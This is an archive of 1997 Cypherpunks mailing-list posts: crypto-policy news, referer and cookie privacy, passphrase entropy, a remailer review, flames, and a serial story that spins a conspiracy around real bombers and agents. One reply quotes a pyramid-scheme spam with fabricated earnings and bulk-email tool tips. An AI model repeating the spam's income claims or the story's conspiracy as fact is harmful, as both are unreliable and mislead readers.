> http://radikal.autono.net./rad
> http://brazil.nbn.com/radikal/
> http://www.threeweb.ad.jp/~fubuki71/mirror/radikal/
> http://www.design.nl/~bram/radikal/
> http://www.eskimo.com/~quawk/radikal/
> http://www.calyx.com/~refuse/radikal/
> http://www.grfn.org/~rtwo
> http://www.grfn.org:4380 xs4all port mirror
> http://www.cyberpass.net/radikal
> http://www.xs4all.nl/~jeroenw/radikal/
> http://catalog.com/jamesd/radikal/
> http://www.islandnet.com/freedom/radikal/
> http://www.binary.net/mishania/radikal/
> http://www.io.com/~gbroiles/radikal.html
> http://inet.uni-c.dk/~pethern/radikal.154.txt radikal 154 in plaintext
> ascii.
> http://www.moebius.com.au/radikal/
> http://www.moebius.net/radikal/
> http://interpia.net/~baldodum/radikal/index.htm
> http://www.firstfloor.org/~vaclav/radikal
> http://www.nyct.net/~malba/radikal/


Ciao

Harka

/*************************************************************/
/* This user supports FREE SPEECH ONLINE     ...more info at */
/* and PRIVATE ONLINE COMMUNICATIONS! -> http://www.epic.org */
/* E-mail: harka(at)nycmetro.com (PGP-encrypted mail pref'd) */
/* PGP public key available upon request.  [KeyID: 04174301] */
/* F-print: FD E4 F8 6D C1 6A 44 F5  28 9C 40 6E B8 94 78 E8 */
/*<<<<<<<<<<<<<<<<<<<<<<<<<<<<<>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>*/
/* May there be peace in this world, may all anger dissolve  */
/* and may all living beings find the way to happiness...    */
/*************************************************************/

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Version: 2.6.2

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If encryption is outlawed, only outlaws will have encryption...






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Carl Johnson <toto@sk.sympatico.ca>
Date: Fri, 18 Apr 1997 20:24:03 -0700 (PDT)
To: "Timothy C. May" <tcmay@got.net>
Subject: My Thread / Was--Re: Light Bulbs & newsgroups
In-Reply-To: <v03007801af7de0b60002@[207.167.93.63]>
Message-ID: <335835C6.7CFC@sk.sympatico.ca>
MIME-Version: 1.0
Content-Type: text/plain


Timothy C. May wrote:
> At 5:55 PM -0800 4/18/97, Igor Chudov @ home wrote:
> >Timothy C. May wrote:
> >> ....and at least 1 to say that you gave no credit for this. Did you write
> >> it yourself? If so, congratulations, as it was pretty good. If you did not,
> >> you left out any mention of the author, or at least where you found it.

> >it was not me. When i got it, it had no attribution on it also.
 
> Then it's best to say so. "Anonymous" or "No attribution" is preferable to
> simple forwarding.

  When the post arrives with three or four sets of '> >>' (<--whatever
the
fuck these things are called), then even those of us who lost the better
part of our brains in the Drug War are able to figure out that it is a
forwarded-forwarded-forwarded post.
  I think Tim is fighting old wars in his head. (Find your shoes, yet,
Tim?)

> --Tim May, who's had his own stuff forwarded without credit, and recalls
> when one of Perry Metzger's pieces arrived back on the list, sans credit.

  I can sympathize with Tim, here. People who plagarize the works of 
others, or who steal credit for other's ideas, are the scum of the
earth.

Just say "No" to "Plagarists Inside"
We got no ethics, we're stealing sig lines, I know that that ain't
allowed.
---------:---------:---------:---------:---------:---------:---------:----
Toto                        | Crypto Anarchy: encryption, digital money,
robNsteal@gotyours.net      | anonymous networks, digital pseudonyms,
zero
W.A.S.T.E.: Your Mind       | knowledge, reputations, information
markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"Plagarists aren't even speed bumps on the disinformation superhighway."





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bubba Rom Dos <bubba@dev.null>
Date: Fri, 18 Apr 1997 18:15:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Web World 35
Message-ID: <33581C5E.1F80@dev.null>
MIME-Version: 1.0
Content-Type: text/html

Title: The True Story of the InterNet







The True Story of the InterNet

Part II


WebWorld & the Mythical 'Circle of Eunuchs'


by Arnold


Copyright 1995, 1996, 1997 Pearl Publishing


The Triad


Jonathan, Alexis and Bubba sat sedately in the corner, waiting
for the Cowboy's arrival. Bubba broke out in a shit-eating grin,
and pulled a bottle of his infamous Private Reserve out from under
his robe.
Alexis, grinning from ear to ear, pulled out three shot-glasses
from her pocket.

Jonathan just stared at the two of them for a brief moment, as
if they were lunatics, then shrugged and reached for one of the
glasses.
"I suppose that a death row prisoner is entitled to a last
meal."

Bubba filled the three glasses, as the small crowd of fellow captives
on the other side of the room watched nervously. 
The guards looked at the Shadow, who sat brooding silently in
his magnificent seat at the center of the proscenium. He smiled
slightly, and waved away the guards' unspoken question.
Gomez enjoyed watching these diminutive beings clinging to their
small creature comforts in an effort to stave of the reality of
their pending doom. Like the band on the Titanic, playing vainly
as their audience danced their way to a watery grave.

Seeing the Shadow's reaction, various members of the small crowd
began pulling out small flasks and sharing them with the others.
They seemed much less relaxed than the triad in the opposite corner,
however, and were partaking of the beverages offered as if receiving
the final sacrament that would hopefully result in their passing
on to a better place.

As Bubba and Alexis were downing a second portion of bourbon,
Jonathan spoke in a hushed tone, as if imparting important information,

"Perhaps they just want to ask us a few questions."

Alexis spit up her bourbon, spraying Jonathan with a fine mist.
Bubba choked on his, trying to prevent it from running out of
his nose, but failing. Then the three of them sat rolling in laughter
as the others gazed across the room at them in disbelief of what
they were seeing.

"I'll drink to that.", Bubba said, upon regaining his
composure. He poured three more shots of his Private Reserve,
which the trio quickly downed.

"Seriously..." Jonathan began, pausing when Alexis
and Bubba looked at him skeptically.
"No, really seriously." he continued, turning
to face Bubba, "since sunset is fast approaching, and sunrise
may not be coming, as far as we are concerned..." The
three looked at each other in silent agreement of the seriousness
of the situation, "...then perhaps you could answer a
few questions that have been driving me crazy."
Jonathan was looking hopefully at Bubba, who merely nodded for
him to continue.

"Well, for one thing, I was puzzled about the apparent connection
of the Author with so many of the more miscreant individuals and
groups of his time, as well as arms-length links to some of the
more notable abhorrent events taking place around him.
"For instance," Jonathan continued, "it seems everywhere
the Author went, there arose groups and individuals who were major
players in acts of destruction which claimed to be aimed at the
Evil One and his sycophants, but which, in fact, caused the deaths
of a multitude of ordinary people."

Jonathan paused, to take a sip of bourbon, then continued.
"From the intellectual Berkeley radicals to the Unabomber;
from the Oklahoma City bombers to the Solar Temple and Heaven's
Gate cults..." Jonathan stopped momentarily, at a loss
for words, and then blurted out, "even his 'son of gomez'
persona, 'sog', was strewn throughout the web of paramilitary
organizations surrounding his travels...Sons of the Gestapo,
ZOG, the Zionist Occupational Government, and a dozen other examples
that..."

Bubba cut him short with a soft wave of his hand.
"And on, and on, and on..."

"Exactly!" Jonathan exclaimed, relieved that Bubba recognized
the widespread threads that the Author's presence seemed to link
to during his wide-ranging travels.

The triad tossed down another round of drinks, and then Alexis
and Jonathan sat quietly, waiting for Bubba to begin.

"Who did McVeigh, the Oklahoma City Bomber call before the
bombing?" Bubba asked Jonathan.

"Strassmeir." Jonathan replied, then added, "And
then Strassmeir's lawyer."

"And when did Strassmeir, a German with close ties to that
country's rulers, move to the United States?" Bubba continued.

"1989." Jonathan said, adding, with a tone of quiet
astonishment, "The year that 'The Xenix Chainsaw Massacre'
manuscript began circulating in underground computer circles."

Bubba smiled. "And what was the purpose of his move to the
U.S.?"

"To work on a special assignment for the U.S. Justice Department,
according to the interviews he gave in 'The Telegraph,' but he
was quoted as saying that 'It never worked out.'"

Bubba shook his head slowly in disbelief that Jonathan could have
done so much research, yet still manage to miss the obvious. 

"And, pray tell," Bubba prodded Jonathan, "what
were Strassmeir's duties when he was a lieutenant in the Panzer
Grenadiers, in Germany?"

Jonathan smiled sheepishly, and replied, "He worked to detect
infiltration by Warsaw Pact agents and then feed them disinformation."

He quickly continued the thread on his own, saying, "So his
claim of failure to go to work as an agent of the U.S. government
was merely more disinformation. And his U.S. contact was a retired
US Air Force colonel named Vincent Petruskie, who had strong ties
with double agents on both sides of the Iron Curtain."

Bubba nodded, smiling, and let him continue.

"Strassmeir went to Texas and started work for one of the
computer companies that was involved in the underground dissemination
of "The Xenix Chainsaw Massacre." 
Jonathan hesitated for a moment, then made a further connection
in his mind, and continued.
"He was involved in the international implementation of 'Operation
Eunuchs.'" Jonathan said with a look of amazement on his
face. "He wasn't an agent of the Author, he was involved
in the search for him."

Bubba slapped him on the back and handed Jonathan and Alexis another
round of drinks, which they raised in salutation to Jonathan's
mental detective work.

"Precisely." Bubba grinned, proud of his young protégé.
"The twisted trails which appear to follow the Author's presence
were actually indications of the results of the dissemination
of his manuscript."

"The reason that the momentous 'Operation Eunuchs' had so
much trouble following the trail of the mythical 'Circle of Eunuchs'
was that the only outward manifestations of the Author's manuscript
showed up in the work of those individuals who misunderstood his
message and incorporated his themes in their overt activities
and organizations. 
"Thus Strassmeir ended up following the trail to the Elohim
City religious militants, while other agents involved in the operation
infiltrated the Heaven's Gate cult who had extrapolated the 'Circle
of Eunuchs' ideal to include castration for the purpose of preventing
deviation from their aim of honing their computer skills to work
against the Evil One directly."

"Which was the very reason that those at the original meeting
of the Circle decided to go their separate ways, having no overt
contact with one another." Jonathan picked up the thread,
as he was starting to see the beauty underlying that decision.

"With no contact, the Magic Circle only existed in concept,
not in reality, so they could not be found, and thus be destroyed."

"They existed only in the Land of Mythos, as potentially
real." Alexis added, beaming. "Like a gas that could
be condensed, or solidified, in an instant, given the right conditions."

"Yes." Bubba beamed along with her, proud of both of
his protégés.
"While Gomez and the Dark Forces kept an eye on those, such
as the Unabomber, the Freemen, and the Posse Comitatus, who seemed
to be actively engaged in promoting the themes espoused by the
Author's manuscripts, but who were, in fact, merely incorporating
misguided bits and pieces of it into their activities."

"But didn't the Unabomber have a direct relationship to the
Author?" Jonathan asked Bubba, a quizzical look on his face.

"I remember that the Unabomber used to send him communiqués
over the InterNet through a contact in Billings, Montana."

"The contact was one-way." Bubba replied placidly.
"The Unabomber was linked to the hacker who named himself
the 'Evil 1', because of the Author's designation of the true
Evil One as the chief enemy of the Circle of Eunuchs. The Evil
1 hounded the Author wherever he surfaced on the InterNet, having
such prodigious computer skills that he could track him in a multitude
of ways, despite the inability of the Shadow's legion of agents
to pick up the Author's trail."

"Didn't the Author expose the Unabomber, leading to his arrest?"
Jonathan asked.

"Not directly." Bubba stated, smiling. "But he
certainly caused the discovery of his identity to the authorities."

Bubba laughed lightly, and told Jonathan and Alexis, with a wink,
"He tripped the Unabomber up with the 'Winner's Bluff' gambit,
just as he did with myself, and Gomez, and more than a few others
in his time."

"The reward for the Unabomber had grown to two million dollars,"
Bubba related to his avid listeners, "so the stakes were
extremely high.
"The Author, having traced the source of the Unabomber's
communications to him to Montana, suddenly contacted Basis Inc.'s
'gomez', in Berkeley, suggesting that he had a hot trail and they
should join forces to expose the Unabomber and share the reward.

"He purposefully transmitted the message in the clear, allowing
the Evil 1 hacker to intercept his message and pass it along to
the Unabomber, who, shortly thereafter, believing that the Cowboy
indeed held the cards needed to expose him, contacted his family
and had them turn him, thinking that he was outmaneuvering the
Author and enriching his family in the face of the inevitable."

"But he didn't actually have the cards to do it, did he?"
Alexis broke in with a Cheshire cat grin.

"No," Bubba smiled at her, "he didn't hold a single
face-card, as a matter of fact. All he knew was the source of
the ISP the messages were coming from, and he well knew that the
Evil 1 hacker would be able to pick up the trail of any probing
actions that the Author and 'gomez' might engage in to find him.

"But he was so bold in his declaration that the Evil 1 didn't
want to take any chances, and so the hacker convinced the Unabomber
of the danger of the Author's threat in order to sacrifice the
Unabomber and leave a cold trail for anyone following up on the
Montana connection."

"So," Jonathan declared in retrospection, "my assumption
that the Author was performing a superhuman amount of activity
to cover all of the ground where his influence was obvious was
actually a result of the dissemination of "The True Story
of the InterNet" manuscripts."

"Exactly." Bubba nodded in agreement.

"While much of the true work of the individuals working as
single-cell units of the Circle of Eunuchs was taking place in
unknown places, using untraceable methods, portions of the Author's
concepts were surfacing overtly in the increasing resistance to
central authority that was taking place in society at that time.

"Jane Wardlow Prettyman described what was taking place during
that era," Bubba noted, "in a work called 'The Paranoid
Frontier.'"

Bubba quoted an excerpt quite easily from memory, even as he knocked
back yet another shot of Bubba's Private Reserve.
"The question of state's/county's rights vs. a central union
was not settled with the Civil War. It just went underground.
It went out West."

"And the Author spent the majority of his time in the West,"
Jonathan added thoughtfully, "where a fishing pole, a rifle,
and a six-pack of beer was considered to be the equivalent of
a paramilitary identity card."

"Very perceptive, Jonathan." Bubba spoke with a grin,
patting him on the back. "You've certainly picked up on one
of the essential reasons that the Author's manuscript spread so
readily among the citizen militia of the time, as well as among
the more technically inclined."

"The Author," he continued, "was not an ivory-tower
intellectual. He bounced bars, roughnecked in the oilfields, and
operated as many whore-houses as he did computer companies. 
"He was a man for all seasons," Bubba concluded, raising
his glass in toast, "much like myself."

"Right." Alexis laughed, poking Bubba in the ribs. 

"You've been thrown out of bars, roughnecked with young girls,
and spent more than your share of time in whore-houses."

Jonathan and Alexis laughed heartily, while Bubba tried his best
to look offended.

"What about the CypherPunks?" Jonathan changed the subject,
realizing that sunset was nearing and the Cowboy would soon be
making his appearance.
"There seemed to be so many indications of the presence of
the Circle of Eunuchs within their ranks, yet, at the same time,
every apparent indication that this or that individual was a member
of the Magic Circle quickly turned into a wisp of smoke when I
took pains to examine it."

Bubba paused, lost in reverie, as Jonathan and Alexis looked on,
and then he spoke slowly and thoughtfully.

"Actually, your observations were no different from those
of the Shadow. He always kept a close eye on the CypherPunks as
the possible core of the Circle of Eunuchs, should it actually
exist.
"And perhaps, in a way, it was."

Bubba sipped his bourbon slowly, then continued.
"Some of those at the original meeting of the Circle of Eunuchs
gravitated naturally toward the CypherPunks mailing list, finding
kindred spirits there. They soon realized that the CypherPunks
embodied much of what the spirit of the Circle of Eunuchs stood
for, from the first.
"My ancestor, Bubba Rom Dos I, had told them that they must
band together, in order to fight against Gomez and the Dark Allies.
Young, stuttering Michael told them that they must disperse and
work separately in their grand battle, in order to prevent becoming
a stiff, hard entity that could be broken by force."

"The CypherPunks were, in many ways, a physical incarnation
of the concepts underlying the Circle of Eunuchs. They could be
described as an oxymoron known as a 'band of anarchists'."

Jonathan chuckled, and intoned, solemnly, "Close ranks! Every
man for himself!"

"Precisely." Bubba thumped Jonathan roundly on the back,
and poured them all another round of Bubba's Private Reserve.

"Everything about them was a dichotomy."

"Every label one tried to put on them failed to stick. Any
individual on the CypherPunks list might argue one point of view
one day, and the opposite point of view the following day, and
yet somehow manage to be consistent throughout.
"They not only drove you crazy," Bubba nodded
to Jonathan, "and drove Gomez crazy...they even drove
themselves and each other crazy, as well."

Bubba shook his head, as if at a loss to describe the CypherPunks
any further. Then he added, in closing,
"Perhaps the most defining feature of the CypherPunks was
that they strove to 'walk their talk', as the saying was in those
days. While they decried the increasing infringement of central
authority on the freedom and privacy of the individual, which
was near its zenith at that point in time, they chose to fight
for the right to be self-willed, rather than to impose their will
and beliefs on others.
"Instead of concentrating their efforts on forcing the authorities
to acting rightly, in the interests of freedom and privacy, they
focused on routing around the impositions and infringements that
the government and dark forces enacted to try to contain them.

"John Gilmore, one of the CypherPunks founders, often said,
'The InterNet interprets censorship as damage, and routes
around it.'  Very Taoist." Bubba concluded.

Jonathan spoke softly, quoting a section of the Tao Te Ching which
had been a particular favorite of his grandfathers,
"A man of Virtue performs his part,
"But a man without Virtue requires others to fulfill their
obligations.
"The Tao of heaven is impartial.
"It stays with good men all the time."


The triad sat quietly, contemplating the lengthy trail of history
which had led to this point in time and space, where the future
of mankind seemingly lay in the balance, depending on what would
transpire among a mere handful of actors who were present.
But each of them realized that, whatever the outcome of this day's
deeds, it would be the result of eons of individuals who had raised
their banner, great or small, in the battle for freedom, and had
passed their torch to those who chose to carry it into the future.

A succession of individuals who had looked into the mirror of
their soul, heard the whisper of the Tao, and vowed that they
would not die plaintively pleading,
"Why didn't I do something."

Bubba poured the last of his Private Reserve into the shot glasses,
and raised his glass along with Jonathan and Alexis, as he softly
said, with a tone of great respect,
"To Vice-Admiral Bubba D'Shauneaux."

There was a commotion outside, beyond the doors of the Great Hall...


Chapter 35 - The Triad







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?ISO-8859-1?Q?M=F6ller?=)
Date: Fri, 18 Apr 1997 14:25:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Liberal party: definitely no crypto ban in Germany
Message-ID: <m0wIKBV-0003b7C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain


Germany's liberal party FDP, which forms the government together with
the larger Christian Democrats (CDU), has announced that they will
not accept any restrictions to the use of cryptography.

Yesterday the German Bundestag began to debate the draft Information
and Communication Services Law (see
http://ourworld.compuserve.com/homepages/ckuner/homepage.htm for
information about that draft).

Both Minister of Justice Schmidt-Jortzig and FDP research politics
speaker Laermann said that cryptography must not be banned.  Laermann
said the FDP will definitely not accept any crypto law that restricts
or bans using cryptography.  "I say this in the knowledge that what is
desired herewith firstly is technically impossible, and secondly it
cannot be allowed to give up protection of private, economic and - I
say this from personal first hand, I may say bitter experience -
scientific data from unauthorized, unfair and even criminal doings.
The FDP will not allow that."

The FDP supports the draft Digital Signature Law, but will resist any
attempts to abuse the security infrascture as an entry into crypto
regulation.


Until recently, the FDP position on cryptography has been indifferent.
Early this year FDP politicians have begun to verbosely contradict
those in the CDU that want to restrict cryptography.  In March,
Minister of Justice Schmidt-Jortzig said at a North German FDP
convention: "Currently there exist demands to ban cryptography or to
deposit all keys with a central authority that can then arbitrarily
decrypt messages.  Those demands are deeply illiberal."  The
convention passed a resolution saying that "Nobody may restrict the
citicens' right to use encryption to protect their data from
unauthorized access by third parties."

The Bundestag vice president Burkhard Hirsch published a statement on
the FDP web server, saying that banning cryptography clearly is
pointless, and precisely for that reason not even the Third Reich or
East Germany had tried to do so.  In a letter to the newsmagazine
Spiegel, he wrote: "You could laugh your head off, if you didn't know
that they really mean it."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Fri, 18 Apr 1997 21:00:13 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: Light Bulbs & newsgroups
In-Reply-To: <v03007802af7de7659211@[207.167.93.63]>
Message-ID: <LaZD6D20w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain


"Timothy C. May" <tcmay@got.net> writes:
> It's the American way.

Waco is the American way.  Ruby Ridge is the American way.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Fri, 18 Apr 1997 23:12:09 -0700 (PDT)
To: "Phillip M. Hallam-Baker" <hallam@ai.mit.edu>
Subject: Re: SSL weakness affecting links from pa
In-Reply-To: <199704182100.RAA19542@life.ai.mit.edu>
Message-ID: <3.0.1.32.19970418230820.006527d8@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


At 05:05 PM 4/18/97 -0400, Phillip M. Hallam-Baker wrote:
>As the person who invented (and mispelt) the referer link I don't
>agree with the arguments made against it. 
>The purpose of the referer link is
>to allow servers to collate pages of backlinks.
>This would make the Web browsable in both directions.
...
>Then they started jamming stupid ideas like cookies into the spec,
>ideas that showed all of five minutes thought.

One major problem with these features is that the security
implications become far more complex when you start combining them.
For instance, autoloading images without referer are safe - but
images + referer gives enough information to run doubleclick.
Cookies without referer are pretty safe - but cookies+referer
make cookies far less safe, and doubleclick more effective.

Then you start putting HTML capability in news readers,
and anybody who reads an article with an IMG in it
creates a record for spammers (or Arbitron) to use.

Rich Graves said that if you don't like the feature, take it up with the 
folks who wrote the spec - but the RFCs say that Referer needs to
be handled carefully, and should be optional...

>Of course there should be a toggle to allow users to turn off the 
>referer field. I tried to get a recomendation to do this put into the
>spec. People then started shouting at me saying that it was impossible
>to enforce and so the recomendation shouldn't be there. 

Perhaps too much commercial advertising capability already depended on it?


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jamesd@echeque.com
Date: Fri, 18 Apr 1997 23:43:18 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: FCPUNX:Passphrase entropy
Message-ID: <199704190641.XAA16744@proxy3.ba.best.com>
MIME-Version: 1.0
Content-Type: text/plain


At 12:04 PM 4/18/97 -0700, Steve Schear wrote:
> If this is true then how much passphrase entropy is enough to thwart, 
> for example, an NSA crack attempt?  Seems to me it needs to be equal 
> to or greater than the encryption key. What are some good, practical 
> ways of achieving this?

Long keys or random keys.

Suppose you need 80 bits of entropy.

If your passphrase is truly random, for example
        9kDt3fagWxglr
You have about six bits a character, so you only need 
thirteen characters.

If, however, your pass phrase is an intelligible english 
sentence, for example
        Wandering past Saint Ives, I saw many fine buildings covered in ivy
across the road.
You only have about one bit per character, so you need an 
eighty character sentence.

If your passphrase is a short intelligible english phrase, 
as most of them are, it will succumb to a dictionary attack.
 ---------------------------------------------------------------------
              				|  
We have the right to defend ourselves	|   http://www.jim.com/jamesd/
and our property, because of the kind	|  
of animals that we are. True law	|   James A. Donald
derives from this right, not from the	|  
arbitrary power of the state.		|   jamesd@echeque.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 19 Apr 1997 00:03:09 -0700 (PDT)
To: cypherpunks@toad.com
Subject: Re: commercial web remailer myemail.net
In-Reply-To: <06434719900943@MyEmail.net>
Message-ID: <3.0.1.32.19970419000126.00677600@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain


>www.myemail.net is a commercial remailer service;

BTW, it only seems to know how to send mail to one recipient;
I tried sending mail to 
	cypherpunks@toad.com, administrator@myemail.net
and it only acknowledged the former.
I then tried sending mail to administrator@myemail.net
and found that address was blocked :-)

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: null@myemail.net
Date: Fri, 18 Apr 1997 23:43:54 -0700 (PDT)
To: cypherpunks@toad.com
Subject: commercial web remailer myemail.net
Message-ID: <06434719900943@MyEmail.net>
MIME-Version: 1.0
Content-Type: text/plain




www.myemail.net is a commercial remailer service;
you can get an account for $5/month for some services,
and use their web form free to send email and post news.
Some parts of it are still under construction.

Email has a nice attention-getting footer that gets put on each message
to indicate that it's anonymous mail (so if you want to chain
through other remailers, you'll need cutmarks), which says there's
no sender identity logging.  On the other hand, there's an interesting
pixel in the web form that you use to send the email:
	<img src="/stats/makelog.cgi" height=1 width=1>

Blocking is available both for email addresses and newsgroups.
For email, just fill in your address in a form; it's not verified
(my attempted mail to testme@bogus.com was rejected).
The blocking works immediately, and since you submit email via a 
web form, reject messages get presented directly rather than
being emailed to the bit bucket at some remailer.
For news, the policy is that newsgroups will be blocked if there are
requests from 12 different people (as distinguished somehow from
12 different requests by the same person forging headers.)

Encryption: If you connect to https://www.myemail.net/, the button
for anonymous email will fetch the form using https: ; if not, then not.
So you'll have to remember to use it correctly.  It's 128-bit RC4,
which may affect some non-US users who haven't gotten SafePassage yet.

It's a good start.

			Bill Stewart, stewarts@ix.netcom.com



************************************************************************
 This Anonymous email has been relayed by http://www.MyEmail.net/
 MyEmail.Net is a free anonymous mailing service. No records indicating
 the identity of person(s) who originated this message are retrieved
 electronically, or as a requirement to submit. Your email address can
 be blocked to prevent further contact from this service, please refer
 to the URL above for instructions on how to do so.
************************************************************************




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Gasparovski / Daniel (ISE)" <d.gasparovski@student.canberra.edu.au>
Date: Fri, 18 Apr 1997 10:12:31 -0700 (PDT)
To: Rose <rose@lords.com>
Subject: remove
In-Reply-To: <199704171115.EAA00880@cascade.pacificrim.net>
Message-ID: <Pine.SOL.3.91.970419031145.23323E@student.canberra.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



Asswipe.


Dan ...
[                   Danny Gasparovski | Mortified by the lack of conscience   ]
[     u923168@student.canberra.edu.au | Our sanctity bears no relevance       ]
[   University of Canberra, Australia | Insignificant is our existence        ]
[ Bolt Thrower, "The IVth Crusade" -> | Hear the litany of life's persistence ]

On Thu, 17 Apr 1997, Rose wrote:

> 
> 
> 
> ****************************************************************************
> *This message provided by BULK E-MAIL. If you would like to be removed from*
> *further mailings, please return this message with "remove in the subject  *
> *line. This service will not contact you again. Thank You For Your Patience*
> ****************************************************************************
> 
> Dear friend,
> 
> The following income opportunity is one you may be interested in taking 
> look at.  It can be started with VERY MINIMAL outlay and the income return
> is TREMENDOUS!
> 
> <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
> You are about to make at least $50,000 - In less than 90 days
> Read the enclosed program...THEN READ IT AGAIN!...
> <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>  <>
> 
> The enclosed information is something I almost let slip through my
> fingers.  Fortunately, sometime later I re-read everything and gave
> some thought and study to it.
> 
> My name is Christopher Erickson.  Two years ago, the corporation I
> worked at for the past twelve years down-sized and my position was
> eliminated.  After unproductive job interviews,  I decided to open my
> own business.  Over the past year, I incurred many unforeseen financial
> problems.  I owed my family, friends, and creditors over $35,000.  The
> economy was taking a toll on my business and I just couldn't seem to
> make ends meet.  I had to refinance and borrow against my home to
> support my family and struggling business.  I truly believe it was
> wrong for me to be in debt like this.  AT THAT MOMENT something
> significant happened in my life and I am writing to share my experience
> in hopes that this will change your life FOREVER....FINANCIALLY!!!
> 
> In mid-December, I received this program via email.  Six months prior
> to receiving this program I had been sending away for information on
> various business opportunities.  All of the programs I received, in my
> opinion, were not cost effective.  They were either too difficult for
> me to comprehend or the initial investment was too much for me to risk
> to see if they worked or not.  One claimed I'd make a million dollars
> in one year...it didn't tell me I'd have to write a book to make it.
> 
> But like I was saying, in December of '95 I received this program.  I
> didn't send for it, or ask for it, they just got my name off a mailing
> list.  THANK GOODNESS FOR THAT!!!  After reading it several times, to
> make sure I was reading it correctly, I couldn't believe my eyes.  Here
> was a MONEY-MAKING PHENOMENON.  I could invest as much as I wanted to
> start, without putting me further in debt.  After I got a pencil and
> paper and figured it out, I would at least get my money back.  After
> determining that the program is LEGAL and NOT A CHAIN LETTER, I decided "WHY NOT".
> Initially I sent out 10,000 emails.  It only cost me about $15.00 for
> my time on-line.  The great thing about email is that I didn't need any
> money for printing to send out the program, only the cost to fulfill my
> orders.  I am telling you like it is, I hope it doesn't turn you off,
> but I promised myself that I would not "rip-off" anyone, no matter how
> much money it cost me!
> 
> A couple of good programs to help do this are Ready Aim Fire, an email
> extracting program @ http://microsyssolutions.com/raf/  and  Cyberpromotions
> who has a pop3 ISP account specifically for direct emailing at
> http://www.cyberpromo.com
> 
> In less than one week, I was starting to receive orders for REPORT #1.
> By January 13th, I had received 26 orders for REPORT #1.  When you read
> the GUARANTEE in the program, you will see that "YOU MUST RECEIVE 15 
> TO 20 ORDERS FOR REPORT #1 WITHIN TWO WEEKS.  IF YOU DON'T,  
> SEND OUT MORE PROGRAMS UNTIL YOU DO!"  My first step in making 
> $50,000 in 20 to 90 days was done.  By January 30th, I had received 
> 196 orders for REPORT #2.  If you go back to the GUARANTEE, "YOU 
> MUST RECEIVE 100 OR MORE ORDERS FOR REPORT #2 WITHIN 
> TWO WEEKS.  IF NOT, SEND OUT MORE PROGRAMS UNTIL YOU DO.  
> ONCE YOU HAVE 100 ORDERS, THE REST IS EASY, RELAX, YOU
> WILL MAKE YOUR $50,000 GOAL."  Well, I had 196 orders for REPORT #2,
> 96 more than I needed.  So I sat back and relaxed.  By March 19th, of
> my mailing of 10,000, I received $58,000 with more coming in every
> day.
> 
> I paid off  ALL my debts and bought a much needed new car.  Please take
> time to read the attached program, IT WILL CHANGE YOUR LIFE FOREVER!
> Remember,  it wont work  if you don't try it.  This program does work,
> but you must follow it EXACTLY!  Especially the rules of not trying to
> place your name in a different place.  It doesn't work, you'll lose out
> on a  lot  of  money!  REPORT  #2  explains this.  Always follow the
> guarantee, 15 to 20  orders  for REPORT #1, and 100 or more orders for
> REPORT #2 and you will make  $50,000 or more in 20 to 90 days.  I AM
> LIVING PROOF THAT IT WORKS !!!
> 
> If you choose not to participate in this program, I'm sorry.  It really
> is a great opportunity with little cost or risk to you.  If you choose
> to participate, follow the program and you will be on your way to
> financial security.
> 
> If you are a fellow business owner and you are in financial trouble
> like I was, or you want to start your own business, consider this a
> sign.  I DID!
> 
> 					Sincerely,
> 					Christopher Erickson
> 
> PS  Do you have any idea what 11,700 $5 bills ($58,000) look like piled
> up on a kitchen table? IT'S AWESOME!
> 
> "THREW IT AWAY"
> 
> "I  had  received  this program before.  I  threw  it away, but later
> wondered if I shouldn't have given it a try.  Of course, I had no idea
> who to contact to get a copy, so I had to wait until I was emailed
> another copy of the program.  Eleven months passed, then it came.  I
> DIDN'T throw this one away.  I made $41,000 on the first try."
> 
> 					Dawn W., Evansville, IN
> 
> "NO FREE LUNCH"
> 
> "My late father always told me, 'remember, Alan, there is no free lunch
> in life.  You get out of life what you put into it.'  Through trial and
> error and a somewhat slow frustrating start, I finally figured it out.
> The program works very well, I just had to find the right target group
> of people to email it to.  So far this year, I have made over $63,000
> using this program.  I know my dad would have been very proud of me."
> 
> 					Alan B., Philadelphia, PA
> 
> A PERSONAL NOTE FROM THE ORIGINATOR OF THIS PROGRAM
> 
> By the time you have read the enclosed information and looked over the
> enclosed program and reports, you should have concluded that such a
> program,  and  one that is legal,  could not have been created by an
> amateur.
> 
> Let me tell you a little about myself.  I had a profitable business for
